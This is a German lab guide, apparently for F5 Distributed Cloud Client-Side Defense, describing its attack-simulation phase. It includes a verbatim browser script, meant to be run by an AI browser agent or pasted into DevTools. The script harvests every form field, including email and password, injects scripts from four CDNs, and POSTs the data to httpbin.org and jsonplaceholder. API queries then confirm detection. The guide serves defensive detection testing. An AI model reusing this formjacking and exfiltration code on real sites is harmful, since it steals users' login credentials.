Zum Inhalt springen

Phase 2 — Angriff

Phase 2 generiert simulierten Angriffsdatenverkehr gegen die geschützte Anwendung und bestätigt, dass CSD diesen erkannt hat. Phase 1 muss abgeschlossen sein — alle Prüfungen in Schritt 7 müssen BESTANDEN haben — bevor Sie fortfahren.

Nachdem die Infrastruktur überprüft wurde (alle Prüfungen in Phase 1, Schritt 7 BESTANDEN), führen Sie die Angriffssimulationsskripte aus, um CSD-Erkennungen zu generieren. Die Skripte sind im Leitfaden zur Auslösung der Erkennung und in der Angriffsskript-Bibliothek definiert.

KI-Assistenten mit Browser-Automatisierungswerkzeugen führen die Angriffssimulation programmgesteuert aus:

  1. Navigation mit initScript — navigieren Sie zunächst zu about:blank, um einen sauberen Dokumentkontext sicherzustellen (vermeidet veraltete initScripts aus vorherigen Navigationen), dann navigate_page zu http://$F5XC_DOMAINNAME/#/login mit einem initScript, das die nativen Funktionen setInterval, clearInterval, fetch und console.log speichert, bevor zone.js diese patcht, auf die Anmeldedatenfelder wartet, Anmeldedaten über den nativen HTMLInputElement.prototype.value-Setter befüllt und das kombinierte Erkennungsskript sofort inline ausführt. Verwenden Sie das nachfolgende initScript wörtlich.
  2. Willkommensbanner schließenpress_key mit Escape, um das Willkommensbanner zu schließen. Bei nachfolgenden Besuchen erscheint das Banner möglicherweise nicht (Cookies wurden gespeichert). Der Cookie-Zustimmungsdialog wird automatisch durch die Escape-Taste geschlossen.
  3. Auf Abschluss warten — warten Sie 10 Sekunden, bis alle CDN-Skript-Lade-/Fehler-Callbacks und fetch-Promise-Auflösungen abgeschlossen sind.
  4. Beweise erfassenlist_console_messages prüfen auf [CSD Demo] Simulation complete und CDN-Ladeergebnisse; list_network_requests gefiltert nach script- und fetch-Typen, um HTTP-Statuscodes zu verifizieren (200/201 für Erfolg, pending für zurückgehaltene Anfragen)

Phase 2 initScript (wörtlich — genau so verwenden wie geschrieben):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

Operatoren ohne Browser-Automatisierungswerkzeuge führen die Schritte manuell durch:

  1. Navigieren Sie zur Anmeldeseite der geschützten Anwendung: http://xF5XC_DOMAINNAMEx/#/login
  2. Testanmeldedaten eingeben — geben Sie test@example.com im E-Mail-Feld und P@ssword123 im Passwortfeld ein (das Formular nicht absenden)
  3. DevTools öffnen — drücken Sie F12 und wechseln Sie zum Konsolen-Tab
  4. Das kombinierte Erkennungsskript ausführen — fügen Sie das Skript aus Auslösung der Erkennung — Das kombinierte Simulationsskript ausführen in die Konsole ein und drücken Sie Enter
  5. Konsolenausgabe überprüfen — bestätigen Sie, dass die phasenweise [CSD Demo]-Ausgabe folgendes zeigt: Formularfeld-Erfassung, Skriptinjektion von 4 CDN-Domänen und Datenexfiltration zu 2 Endpunkten
SignalVerhaltenErkennung
Formularfeld-ErfassungLiest E-Mail- und Passwort-EingabewerteSkripte, die sensible Formularfelder lesen — als hohes Risiko eingestuft
SkriptinjektionInjiziert 4 <script>-Tags von cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.ioBis zu 4 neue Drittanbieter-Skriptdomänen erkannt (CDN-Verfügbarkeit variiert)
DatenexfiltrationSendet erfasste Daten via fetch an www.httpbin.org und jsonplaceholder.typicode.comNetzwerkaufrufe zu externen Domänen

Der KI-Assistent sollte folgendes berichten. Bei KI-automatisierter Ausführung werden Beweise programmgesteuert über list_console_messages erfasst (die Polling-Funktion des initScripts protokolliert Ergebnisse in der Konsole). Bei manueller Ausführung liest der Operator die Konsolenausgabe des Browsers.

PrüfungErwartetStatus
Anmeldeseite geladen200 OK unter http://$F5XC_DOMAINNAME/#/loginBESTANDEN / FEHLGESCHLAGEN
Konsolenskript ausgeführt[CSD Demo] Simulation complete in der KonsolenausgabeBESTANDEN / FEHLGESCHLAGEN
Felder erfasstAnzahl > 0 in der KonsolenausgabeBESTANDEN
Skripte injiziert1–4 CDN-Domänen in der Konsolenausgabe (einige können mit Ressourcenfehlern fehlschlagen)BESTANDEN, wenn mindestens eine CDN-Domäne erscheint
Exfiltrationskanäle2 fetch-POST-Versuche in der KonsolenausgabeBESTANDEN

Fragen Sie die CSD-API-Endpunkte ab, um zu bestätigen, dass Erkennungen aufgezeichnet wurden. Verwenden Sie die Polling-Schleife: fragen Sie /detected_domains alle 60 Sekunden ab; fahren Sie fort, sobald DET-3 besteht. Wenn DET-3 nach 10 Minuten nicht besteht, prüfen Sie die CSD-Konfiguration. Wenn DET-3 nach 30 Minuten nicht besteht, stoppen Sie und melden Sie dies dem Operator. Diese Endpunkte sind in der API-Referenz dokumentiert und verwenden dieselbe Authentifizierung und denselben Namespace wie die vorherigen Schritte.

Abfrage nach Skripten, die in den letzten 24 Stunden erkannt wurden:

Terminal-Fenster
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
FeldErwartetStatus
total> 0 (Skripte erkannt)BESTANDEN wenn > 0; AUSSTEHEND wenn 0, aber /detected_domains Exfil-Domänen zeigt
SkriptnamenEnthält CDN-Domänen (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) in script_nameBESTANDEN wenn injizierte CDN-Domänen erscheinen
Terminal-Fenster
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
FeldErwartetStatus
total_domains> 0BESTANDEN wenn > 0
DomänenlisteEnthält CDN- und Exfil-DomänenBESTANDEN wenn erwartete Domänen erscheinen
Terminal-Fenster
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
FeldErwartetStatus
total> 0BESTANDEN wenn > 0; AUSSTEHEND wenn 0, aber DET-3 besteht
nameEnthält email, passwordBESTANDEN wenn sensible Felder erscheinen
sensitivitySensitive für E-Mail-/PasswortfelderBESTANDEN wenn ML korrekt klassifiziert hat

Nach allen Erkennungsabfragen wird der abschließende Erkennungsstatus dargestellt:

Test-IDPrüfungStatus
DET-1Skripte erkannt (Endpunkt /scripts)BESTANDEN wenn > 0; AUSSTEHEND wenn leer, aber DET-3 besteht
DET-2CDN-Domänen erkanntBESTANDEN / FEHLGESCHLAGEN
DET-3Exfil-Domänen erkannt (/detected_domains)Primärindikator — BESTANDEN wenn www.httpbin.org oder jsonplaceholder.typicode.com erscheinen
DET-4Formularfelder erkannt (Endpunkt /formFields)BESTANDEN wenn > 0; AUSSTEHEND wenn leer, aber DET-3 besteht

Phase 2 abgeschlossen. Fahren Sie mit Phase 3 — Abwehr fort, um Abwehrregeln anzuwenden und zu überprüfen, ob Domänen blockiert werden.